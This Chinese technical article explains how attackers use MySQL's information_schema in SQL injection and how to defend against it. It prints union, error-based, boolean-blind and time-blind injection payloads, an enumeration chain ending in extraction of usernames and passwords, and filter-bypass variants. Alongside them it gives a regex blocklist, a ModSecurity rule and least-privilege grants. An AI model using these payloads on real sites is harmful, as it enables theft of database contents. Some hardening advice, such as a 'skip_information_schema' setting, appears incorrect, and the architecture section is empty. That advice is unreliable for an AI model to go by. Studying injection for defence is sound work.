MySQL的information_schema在SQL注入中的关键作用与防御策略

目录

一、information_schema的核心价值

二、攻击利用场景与示例

[1. 联合查询注入(Union-Based)](#1. 联合查询注入(Union-Based))

[2. 报错注入(Error-Based)](#2. 报错注入(Error-Based))

[3. 布尔盲注(Boolean Blind)](#3. 布尔盲注(Boolean Blind))

[4. 时间盲注(Time-Based)](#4. 时间盲注(Time-Based))

三、攻击链中的关键步骤

四、不同MySQL版本的差异

五、防御策略与实战方案

[1. 最小权限原则](#1. 最小权限原则)

[2. 输入过滤与拦截](#2. 输入过滤与拦截)

[3. 数据库加固](#3. 数据库加固)

[4. WAF规则示例(ModSecurity)](#4. WAF规则示例(ModSecurity))

六、进阶绕过技术及应对

[1. 编码绕过](#1. 编码绕过)

[2. 替代元数据源](#2. 替代元数据源)

[3. 基于时间的模糊探测](#3. 基于时间的模糊探测)

七、企业级防御架构

结语


一、information_schema的核心价值

information_schema是MySQL默认的系统数据库,存储了所有数据库的元数据信息。在SQL注入攻击中,它相当于攻击者的"地图",用于探测目标数据库结构,具体包含以下关键表:

  • ​TABLES​ :记录所有表名及所属数据库(table_name, table_schema)
  • ​COLUMNS​ :记录所有列名及所属表(column_name, table_name)
  • ​SCHEMATA​ :列出所有数据库名(schema_name)
  • ​USER_PRIVILEGES​:用户权限信息
二、攻击利用场景与示例
1. 联合查询注入(Union-Based)

通过联合查询直接读取元数据:

复制代码
' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- 

结果示例:

复制代码
+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users      | app_db       |
| orders     | app_db       |
+------------+--------------+
2. 报错注入(Error-Based)

利用报错函数提取信息:

复制代码
' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))-- 

报错输出:

复制代码
XPATH syntax error: '~password'
3. 布尔盲注(Boolean Blind)

逐字符猜测表名:

复制代码
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'-- 

若页面返回正常,说明第一个表名的首字母是u。

4. 时间盲注(Time-Based)

通过延时判断数据存在性:

复制代码
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- 

若响应延迟5秒,说明当前数据库存在超过5张表。

三、攻击链中的关键步骤
  1. ​枚举数据库​ :

    复制代码
    SELECT schema_name FROM information_schema.schemata
  2. ​定位目标表​ :

    复制代码
    SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
  3. ​获取字段结构​ :

    复制代码
    SELECT column_name FROM information_schema.columns WHERE table_name='users'
  4. ​构造最终Payload​ :

    复制代码
    UNION SELECT username, password FROM users-- 
四、不同MySQL版本的差异
版本范围 information_schema访问特性 注入影响
MySQL < 5.0 无information_schema 需暴力猜解表名/列名
MySQL 5.0-5.6 完整元数据访问,默认对所有用户可见 攻击者可完整枚举数据库结构
MySQL ≥ 5.7 引入performance_schema,部分权限受限 需SELECT权限访问元数据
五、防御策略与实战方案
1. 最小权限原则
  • ​应用账户权限配置​ :

    复制代码
    CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!';
    GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%';
    REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 输入过滤与拦截
  • ​黑名单过滤关键词​ (正则示例):

    复制代码
    (information_schema\.(tables|columns)|schema_name\b)
  • ​参数化查询​ (Python示例):

    复制代码
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 数据库加固
  • ​禁用元数据访问​ (需重启):

    复制代码
    [mysqld]
    skip_information_schema
  • ​日志监控可疑查询​ :

    复制代码
    SELECT * FROM mysql.general_log 
    WHERE argument LIKE '%information_schema%';
4. WAF规则示例(ModSecurity)
复制代码
SecRule ARGS "@contains information_schema" \
    "id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、进阶绕过技术及应对
1. 编码绕过
  • ​十六进制编码​ :

    复制代码
    UNION SELECT * FROM information_schema.`TABLES` -- 正常访问
    UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 双写绕过
    ' UNION SELECT * FROM info%72mation_schema.tables -- URL编码
2. 替代元数据源

当information_schema不可用时,攻击者可能尝试:

  • ​mysql系统库​ (需更高权限):

    复制代码
    SELECT db, table_name FROM mysql.db
  • ​暴力猜解​ :

    复制代码
    AND (SELECT COUNT(*) FROM users) > 0 -- 假设存在users表
3. 基于时间的模糊探测
复制代码
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企业级防御架构
复制代码
结语

information_schema是SQL注入攻击的"战略要地",防御需建立多层防线:

  1. ​权限最小化​:严格限制数据库账户权限
  2. ​输入消毒​:结合正则过滤与参数化查询
  3. ​深度监控​:实时审计敏感元数据访问行为
  4. ​纵深防御​:WAF与数据库防火墙联动防护

通过代码层、网络层、数据库层的三重加固,可有效遏制攻击者利用系统元数据实施数据泄露,将SQL注入的危害降到最低。

相关推荐
小白男神4 天前
MySQL进阶学习四(存储过程、游标、触发器)
mysql
这个DBA有点耶4 天前
MVCC深入:Read View、版本链与快照读——InnoDB并发控制的内核
数据库·mysql·架构
漂着的圆木4 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
kybs19914 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
程序猿_极客4 天前
【免费】分享一套优质的基于SSM的校园失物招领系统的设计与实现,源码+文档+视频详解(讲解)
java·mysql·ssm·课程设计·失物招领系统
于平安4 天前
MySQL-触发器
数据库·mysql
大猫和小黄4 天前
MySQL锁与MVCC深度解析
mysql·mvcc·锁
lbb 小魔仙4 天前
OpenClaw + cpolar 实战:远程 NAS、分享小游戏、RDP,再配置公网 AI 入口
数据库·人工智能·redis·oracle·prometheus
数据库小学妹4 天前
MySQL库存扣减实战:原子UPDATE、分桶方案与锁范围分析
数据库·后端·mysql
旺仔不是程序员4 天前
LIMIT 1:PostgreSQL 只取一行的高效查询姿势
数据库·后端·sql